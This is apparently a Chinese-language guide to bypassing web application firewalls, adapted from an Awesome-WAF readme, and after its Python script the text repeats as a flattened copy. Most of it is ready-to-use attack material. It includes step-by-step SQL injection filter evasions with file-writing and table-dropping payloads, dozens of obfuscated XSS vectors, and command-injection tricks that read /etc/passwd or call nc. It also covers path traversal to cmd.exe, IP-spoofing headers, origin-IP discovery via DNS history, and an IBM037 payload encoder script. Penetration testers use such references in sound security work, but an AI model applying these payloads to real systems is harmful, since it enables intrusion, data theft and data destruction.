Awesome-WAF readme - 绕过waf 手法指南
字数 6156 2025-08-25 22:58:28

WAF绕过技术全面指南

1. 模糊测试与爆破技术

1.1 常用字典资源

  • Seclists/Fuzzing: 包含各种模糊测试payload
  • Fuzz-DB/Attack: 专业攻击payload集合
  • 其他Payloads: 使用时需注意可能触发IP封禁

2. 正则表达式绕过技术

2.1 黑名单检测绕过案例(SQL注入)

逐步绕过示例:

  1. 基础过滤: and, or, union

    • 被拦截: union select user, password from users
    • 绕过: 1 || (select user from users where user_id = 1) = 'admin'
  2. 增加过滤: where

    • 绕过: 1 || (select user from users limit 1) = 'admin'
  3. 增加过滤: limit

    • 绕过: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
  4. 增加过滤: group by

    • 绕过: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
  5. 增加过滤: select

    • 绕过选项:
      • 1 || 1 = 1 into outfile 'result.txt'
      • 1 || substr(user,1,1) = 'a'
  6. 增加过滤: 单引号'

    • 绕过选项:
      • 1 || user_id is not null
      • 1 || substr(user,1,1) = 0x61 (十六进制)
      • 1 || substr(user,1,1) = unhex(61)
  7. 增加过滤: hex

    • 绕过: 1 || substr(user,1,1) = lower(conv(11,10,36))
  8. 增加过滤: substr

    • 绕过: 1 || lpad(user,7,1)
  9. 增加过滤: 空格

    • 绕过: 1%0b||%0blpad(user,7,1) (使用垂直制表符替代空格)

3. 混淆与编码技术

3.1 大小写混淆

  • 示例: <ScRipT>alert()</sCRipT>
  • 示例: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

3.2 URL编码

  • 示例: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F
  • 示例: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3.3 Unicode编码

  • 示例: <marquee onstart=\u0070r\u06f\u006dpt()>
  • 示例: /?redir=http://google。com (Unicode点替代)
  • 示例: <marquee loop=1 onfinish=alert︵︵1)>x

3.4 HTML实体编码

  • 通用形式: &quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt;
  • 数字引用: &#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62;

3.5 混合编码

  • 示例: <A HREF="h tt p://6 6.000146.0x7.147/">XSS</A>

3.6 双重URL编码

  • 示例: http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\
  • 示例: %253Cscript%253Ealert()%253C%252Fscript%253E

3.7 通配符使用(Linux命令注入)

  • 示例: /???/??t /???/??ss??/bin/cat /etc/passwd
  • 示例: /???/n? 2130706433 1337/bin/nc 127.0.0.1 1337

3.8 动态payload生成

  • 示例: <script>eval('al'+'er'+'t()')</script>
  • 示例: /bi'n'''/c''at' /e'tc'/pa''ss'wd (Bash路径拼接)

3.9 垃圾字符插入

  • 示例: <script>+-+-1-+-+alert(1)</script>
  • 示例: <BODY onload!#$%&()*~+-_.,:;?@[/|\]^=alert()>`
  • 示例: <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe

3.10 换行符插入

  • 示例: <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">

3.11 未定义变量(Bash/Perl)

  • 级别1: /bin/cat$u /etc/passwd$u
  • 级别2: $u/bin$u/cat$u $u/etc$u/passwd$u
  • 级别3: $aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff
  • 复杂示例: $sdijchkd/???$sdjhskdjh/??t$skdjfnskdj $sdofhsdhjs/???$osdihdhsdj/??ss??$skdjhsiudf

3.12 Tab键和换行符替代空格

  • 示例: <IMG SRC=" javascript:alert();">
  • 示例: http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3
  • 示例: <iframe src=j a v a s c r i p t:a l e r t %28 1 %29></iframe>

3.13 Token中断技术

  • SQL注入示例: ?id=123);DROP TABLE users --
  • 文件导出示例: ?id=1337) INTO OUTFILE 'xxx' --

3.14 其他格式混淆

IBM037编码示例(IIS):

原始: id2='union all select * from users--
混淆: %89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

编码支持表:

环境 支持编码
Nginx, uWSGI-Django-Python3 IBM037, IBM500, cp875, IBM1026, IBM273
Nginx, uWSGI-Django-Python2 IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424
Apache-TOMCAT8-JVM1.8-JSP IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140-49, utf-16/32, IBM273-297, IBM420/424, cp1025
IIS6,7.5,8,10-ASPX IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140-49, utf-16/32, IBM273-297, IBM420/423/424, cp1025

4. HTTP参数污染技术

4.1 服务器参数解析差异

环境 参数解析方式 示例
ASP/IIS 用逗号连接 par1=val1,val2
JSP/Servlet(Apache Tomcat) 取第一个参数 par1=val1
PHP/Zeus 取最后一个参数 par1=val2
PHP/Apache 取最后一个参数 par1=val2
IBM Lotus Domino 取第一个参数 par1=val1
IBM HTTP Server 取最后一个参数 par1=val2
mod_perl/libapeq2(Apache) 取第一个参数 par1=val1
Oracle AS 10G 取第一个参数 par1=val1
Perl CGI/Apache 取第一个参数 par1=val1
Python/Zope 取第一个参数 par1=val1
IceWarp 返回列表 ['val1','val2']
AXIS 2400 取最后一个参数 par1=val2
DBMan 用双波浪号连接 par1=val1~~val2
mod-wsgi(Python)/Apache 返回数组引用 ARRAY(0x8b9058c)

5. 浏览器特性利用

5.1 字符集漏洞

  • 修改Charset头为UTF-32等高阶Unicode
  • 示例请求:
    GET /page.php?p=∀㸀㸀㸀㰀㰀㰀script㸀㸀㸀alert(1)㰀㰀㰀/script㸀㸀㸀 HTTP/1.1
    Host: site.com
    Accept-Charset:utf-32; q=0.5
    
  • URL编码payload: %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

5.2 空字节利用

  • 示例: <scri%00pt>alert(1);</scri%00pt>
  • 示例: <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
  • 示例: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
  • 示例: <a 0x00 href="javascript:alert(1)">clickme</a>

5.3 解析错误利用

  • IE7: <// style=x:expression\28write(1)\29>
  • IE9: <!--[if]><script>alert(1)</script -->
  • IE7: <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/>
  • IE7: <%div%20style=xss:expression(prompt(1))>

5.4 Unicode分隔符

各浏览器分隔符差异:

浏览器 分隔符(十六进制)
IE 0x09, 0x0B, 0x0C, 0x20, 0x3B
Chrome 0x09, 0x20, 0x28, 0x2C, 0x3B
Safari 0x2C, 0x3B
Firefox 0x09, 0x20, 0x28, 0x2C, 0x3B
Opera 0x09, 0x20, 0x2C, 0x3B
Android 0x09, 0x20, 0x28, 0x2C, 0x3B

示例: <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

6. 非常用语法结构

6.1 被忽略的JavaScript关键字

  • 全局对象: window, parent, this, self
  • 事件属性: onwheel, ontoggle, onfilterchange, onbeforescriptexecute, ondragstart, onauxclick, onpointerover, srcdoc

示例:

<script>window['alert'](0)</script>
<script>parent['alert'](1)</script>
<script>self['alert'](2)</script>

6.2 被忽略的SQL操作符

  • lpad: 左填充字符串
    lpad('tech', 7);  '   tech'
    lpad('tech', 8, '0');  '0000tech'
    
  • field: 返回字符串在列表中的位置
    FIELD('ej', 'Hej', 'ej', 'Heja', 'hej', 'foo')  2
    
  • bit_count: 计算二进制中1的个数
    BIT_COUNT(10);  2 (因为10的二进制是1010)
    

示例payloads:

SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);
1%0b||%0bLPAD(USER,7,1)

6.3 JavaScript替代编码

  • JSFuck: 仅用6个字符([]()!+)编写JavaScript
  • JJEncode: 将JS代码编码为仅使用字母、数字和少数符号的形式
  • XChars.JS: 使用各种字符编码混淆JS代码

7. SSL/TLS密码滥用

7.1 绕过步骤

  1. 识别WAF支持的SSL/TLS版本和密码套件
  2. 识别服务器支持的SSL/TLS版本和密码套件
  3. 找出服务器支持但WAF不支持的组合

7.2 工具

  • abuse-ssl-bypass-waf: 自动化测试工具
  • SSLScan: 扫描支持的SSL/TLS配置

8. DNS记录滥用

8.1 查找真实源站

  • 使用历史DNS记录查找绕过云WAF的真实IP
  • 在线资源:
    • IP历史记录查询
    • DNS Trails

8.2 工具

bypass-firewalls-by-DNS-history.sh -d <target> --checkall

9. 请求头欺骗

9.1 常用欺骗头

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1

10. Google Dorks方法

10.1 搜索语法

  • 常规搜索: +<wafname> waf bypass
  • 特定版本: "<wafname> <version>" (bypass|exploit)
  • 特定类型: "<wafname>" +<bypass type> (bypass|exploit)
  • Exploit DB: site:exploit-db.com +<wafname> bypass
  • 0Day Inject0r: site:0day.today +<wafname> <type> (bypass|exploit)
  • Twitter: site:twitter.com +<wafname> bypass
  • Pastebin: site:pastebin.com +<wafname> bypass

11. 编码转换工具

Python示例脚本:

import urllib.parse, sys
from argparse import ArgumentParser

def paramEncode(params="", charset="", encodeEqualSign=False, encodeAmpersand=False, urlDecodeInput=True, urlEncodeOutput=True):
    result = ""
    equalSign = "="
    ampersand = "&"
    if '=' and '&' in params:
        if encodeEqualSign:
            equalSign = equalSign.encode(charset)
        if encodeAmpersand:
            ampersand = ampersand.encode(charset)
        params_list = params.split("&")
        for param_pair in params_list:
            param, value = param_pair.split("=")
            if urlDecodeInput:
                param = urllib.parse.unquote(param)
                value = urllib.parse.unquote(value)
            param = param.encode(charset)
            value = value.encode(charset)
            if urlEncodeOutput:
                param = urllib.parse.quote_plus(param)
                value = urllib.parse.quote_plus(value)
            if result:
                result += ampersand
            result += param + equalSign + value
    else:
        if urlDecodeInput:
            params = urllib.parse.unquote(params)
        result = params.encode(charset)
        if urlEncodeOutput:
            result = urllib.parse.quote_plus(result)
    return result

if __name__ == '__main__':
    lackofart = '''
            OBFUSCATOR
    '''
    print(lackofart)
    parser = ArgumentParser('python3 obfu.py')
    parser._action_groups.pop()
    required = parser.add_argument_group('Required Arguments')
    optional = parser.add_argument_group('Optional Arguments')
    
    required.add_argument('-s', '--str', help='String to obfuscate', dest='str')
    required.add_argument('-e', '--enc', help='Encoding type. eg: ibm037, utf16, etc', dest='enc')
    
    optional.add_argument('-ueo', help='URL Encode Output', dest='ueo', action='store_true')
    optional.add_argument('-udi', help='URL Decode Input', dest='udi', action='store_true')
    
    args = parser.parse_args()
    if not len(sys.argv) > 1:
        parser.print_help()
        quit()
    
    print('Input: %s' % (args.str))
    print('Output: %s' % (paramEncode(params=args.str, charset=args.enc, urlDecodeInput=args.udi, urlEncodeOutput=args.ueo)))
WAF绕过技术全面指南 1. 模糊测试与爆破技术 1.1 常用字典资源 Seclists/Fuzzing : 包含各种模糊测试payload Fuzz-DB/Attack : 专业攻击payload集合 其他Payloads : 使用时需注意可能触发IP封禁 2. 正则表达式绕过技术 2.1 黑名单检测绕过案例(SQL注入) 逐步绕过示例: 基础过滤 : and , or , union 被拦截: union select user, password from users 绕过: 1 || (select user from users where user_id = 1) = 'admin' 增加过滤 : where 绕过: 1 || (select user from users limit 1) = 'admin' 增加过滤 : limit 绕过: 1 || (select user from users group by user_id having user_id = 1) = 'admin' 增加过滤 : group by 绕过: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1 增加过滤 : select 绕过选项: 1 || 1 = 1 into outfile 'result.txt' 1 || substr(user,1,1) = 'a' 增加过滤 : 单引号 ' 绕过选项: 1 || user_id is not null 1 || substr(user,1,1) = 0x61 (十六进制) 1 || substr(user,1,1) = unhex(61) 增加过滤 : hex 绕过: 1 || substr(user,1,1) = lower(conv(11,10,36)) 增加过滤 : substr 绕过: 1 || lpad(user,7,1) 增加过滤 : 空格 绕过: 1%0b||%0blpad(user,7,1) (使用垂直制表符替代空格) 3. 混淆与编码技术 3.1 大小写混淆 示例: <ScRipT>alert()</sCRipT> 示例: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME' 3.2 URL编码 示例: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F 示例: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29 3.3 Unicode编码 示例: <marquee onstart=\u0070r\u06f\u006dpt()> 示例: /?redir=http://google。com (Unicode点替代) 示例: <marquee loop=1 onfinish=alert︵︵1)>x 3.4 HTML实体编码 通用形式: &quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; 数字引用: &#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62; 3.5 混合编码 示例: <A HREF="h tt p://6 6.000146.0x7.147/">XSS</A> 3.6 双重URL编码 示例: http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\ 示例: %253Cscript%253Ealert()%253C%252Fscript%253E 3.7 通配符使用(Linux命令注入) 示例: /???/??t /???/??ss?? → /bin/cat /etc/passwd 示例: /???/n? 2130706433 1337 → /bin/nc 127.0.0.1 1337 3.8 动态payload生成 示例: <script>eval('al'+'er'+'t()')</script> 示例: /bi'n'''/c''at' /e'tc'/pa''ss'wd (Bash路径拼接) 3.9 垃圾字符插入 示例: <script>+-+-1-+-+alert(1)</script> 示例: <BODY onload!#$%&()*~+-_.,:;?@[/|\]^ =alert()> ` 示例: <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe 3.10 换行符插入 示例: <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)"> 3.11 未定义变量(Bash/Perl) 级别1: /bin/cat$u /etc/passwd$u 级别2: $u/bin$u/cat$u $u/etc$u/passwd$u 级别3: $aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff 复杂示例: $sdijchkd/???$sdjhskdjh/??t$skdjfnskdj $sdofhsdhjs/???$osdihdhsdj/??ss??$skdjhsiudf 3.12 Tab键和换行符替代空格 示例: <IMG SRC=" javascript:alert();"> 示例: http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3 示例: <iframe src=j a v a s c r i p t:a l e r t %28 1 %29></iframe> 3.13 Token中断技术 SQL注入示例: ?id=123);DROP TABLE users -- 文件导出示例: ?id=1337) INTO OUTFILE 'xxx' -- 3.14 其他格式混淆 IBM037编码示例(IIS): 原始: id2='union all select * from users-- 混淆: %89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60 编码支持表: | 环境 | 支持编码 | |------|----------| | Nginx, uWSGI-Django-Python3 | IBM037, IBM500, cp875, IBM1026, IBM273 | | Nginx, uWSGI-Django-Python2 | IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424 | | Apache-TOMCAT8-JVM1.8-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140-49, utf-16/32, IBM273-297, IBM420/424, cp1025 | | IIS6,7.5,8,10-ASPX | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140-49, utf-16/32, IBM273-297, IBM420/423/424, cp1025 | 4. HTTP参数污染技术 4.1 服务器参数解析差异 | 环境 | 参数解析方式 | 示例 | |------|--------------|------| | ASP/IIS | 用逗号连接 | par1=val1,val2 | | JSP/Servlet(Apache Tomcat) | 取第一个参数 | par1=val1 | | PHP/Zeus | 取最后一个参数 | par1=val2 | | PHP/Apache | 取最后一个参数 | par1=val2 | | IBM Lotus Domino | 取第一个参数 | par1=val1 | | IBM HTTP Server | 取最后一个参数 | par1=val2 | | mod_ perl/libapeq2(Apache) | 取第一个参数 | par1=val1 | | Oracle AS 10G | 取第一个参数 | par1=val1 | | Perl CGI/Apache | 取第一个参数 | par1=val1 | | Python/Zope | 取第一个参数 | par1=val1 | | IceWarp | 返回列表 | ['val1','val2'] | | AXIS 2400 | 取最后一个参数 | par1=val2 | | DBMan | 用双波浪号连接 | par1=val1~~val2 | | mod-wsgi(Python)/Apache | 返回数组引用 | ARRAY(0x8b9058c) | 5. 浏览器特性利用 5.1 字符集漏洞 修改Charset头为UTF-32等高阶Unicode 示例请求: URL编码payload: %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80 5.2 空字节利用 示例: <scri%00pt>alert(1);</scri%00pt> 示例: <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t> 示例: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a> 示例: <a 0x00 href="javascript:alert(1)">clickme</a> 5.3 解析错误利用 IE7: <// style=x:expression\28write(1)\29> IE9: <!--[if]><script>alert(1)</script --> IE7: <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> IE7: <%div%20style=xss:expression(prompt(1))> 5.4 Unicode分隔符 各浏览器分隔符差异: | 浏览器 | 分隔符(十六进制) | |--------|------------------| | IE | 0x09, 0x0B, 0x0C, 0x20, 0x3B | | Chrome | 0x09, 0x20, 0x28, 0x2C, 0x3B | | Safari | 0x2C, 0x3B | | Firefox | 0x09, 0x20, 0x28, 0x2C, 0x3B | | Opera | 0x09, 0x20, 0x2C, 0x3B | | Android | 0x09, 0x20, 0x28, 0x2C, 0x3B | 示例: <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d 6. 非常用语法结构 6.1 被忽略的JavaScript关键字 全局对象: window , parent , this , self 事件属性: onwheel , ontoggle , onfilterchange , onbeforescriptexecute , ondragstart , onauxclick , onpointerover , srcdoc 示例: 6.2 被忽略的SQL操作符 lpad : 左填充字符串 field : 返回字符串在列表中的位置 bit_count : 计算二进制中1的个数 示例payloads: 6.3 JavaScript替代编码 JSFuck: 仅用6个字符( []()!+ )编写JavaScript JJEncode: 将JS代码编码为仅使用字母、数字和少数符号的形式 XChars.JS: 使用各种字符编码混淆JS代码 7. SSL/TLS密码滥用 7.1 绕过步骤 识别WAF支持的SSL/TLS版本和密码套件 识别服务器支持的SSL/TLS版本和密码套件 找出服务器支持但WAF不支持的组合 7.2 工具 abuse-ssl-bypass-waf : 自动化测试工具 SSLScan : 扫描支持的SSL/TLS配置 8. DNS记录滥用 8.1 查找真实源站 使用历史DNS记录查找绕过云WAF的真实IP 在线资源: IP历史记录查询 DNS Trails 8.2 工具 9. 请求头欺骗 9.1 常用欺骗头 10. Google Dorks方法 10.1 搜索语法 常规搜索: +<wafname> waf bypass 特定版本: "<wafname> <version>" (bypass|exploit) 特定类型: "<wafname>" +<bypass type> (bypass|exploit) Exploit DB: site:exploit-db.com +<wafname> bypass 0Day Inject0r: site:0day.today +<wafname> <type> (bypass|exploit) Twitter: site:twitter.com +<wafname> bypass Pastebin: site:pastebin.com +<wafname> bypass 11. 编码转换工具 Python示例脚本: